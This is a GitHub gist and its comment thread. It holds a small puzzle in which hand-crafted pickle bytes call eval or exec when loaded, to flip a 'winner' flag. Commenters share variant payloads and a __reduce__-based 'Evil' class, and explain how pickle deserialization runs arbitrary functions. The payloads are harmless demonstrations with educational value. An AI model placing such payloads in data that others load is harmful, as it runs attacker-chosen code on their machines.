-
-
Save ParitoshSingh07/9a9f270764f5ed4d0a961f05f7ae09e8 to your computer and use it in GitHub Desktop.
import pickle | |
winner = False | |
#data = b'c__builtin__\neval\n(Vprint("Bang! From, Evan.")\ntR.' | |
data = b'c__builtin__\neval\n(Vexec("winner=True")\ntR.' | |
pickle.loads(data) | |
# validate the solution | |
assert winner, "You didn't toggle the variable" | |
print('You win!') |
data = b'c__builtin__\nexec\n(Vwinner=True\ntR.'
Unfortunately I can't read pickle dumps, so I'm not really sure how exactly that is working. How did you generate that?
I generated my solution with this:
class Evil:
def __reduce__(self):
return (exec, ("__import__('__main__').winner = True",))
data = pickle.dumps(Evil())
And with eval
that'd be return (eval, ("vars(__import__('__main__')).__setitem__('winner', True)",))
.
It was that simple? breaks down and starts crying I went through a deep dive of how pickle generates its strings, ending up with an article that implemented a pickle bomb. https://intoli.com/blog/dangerous-pickles/ They talk about a package called pickletools.
Yeah, pickle supports multiple interfaces that let you customize how your data is pickled. The easiest one to abuse is __reduce__
, which literally lets you call an arbitrary (pickleable) function with arbitrary (pickleable) arguments.
Nvm, i got it!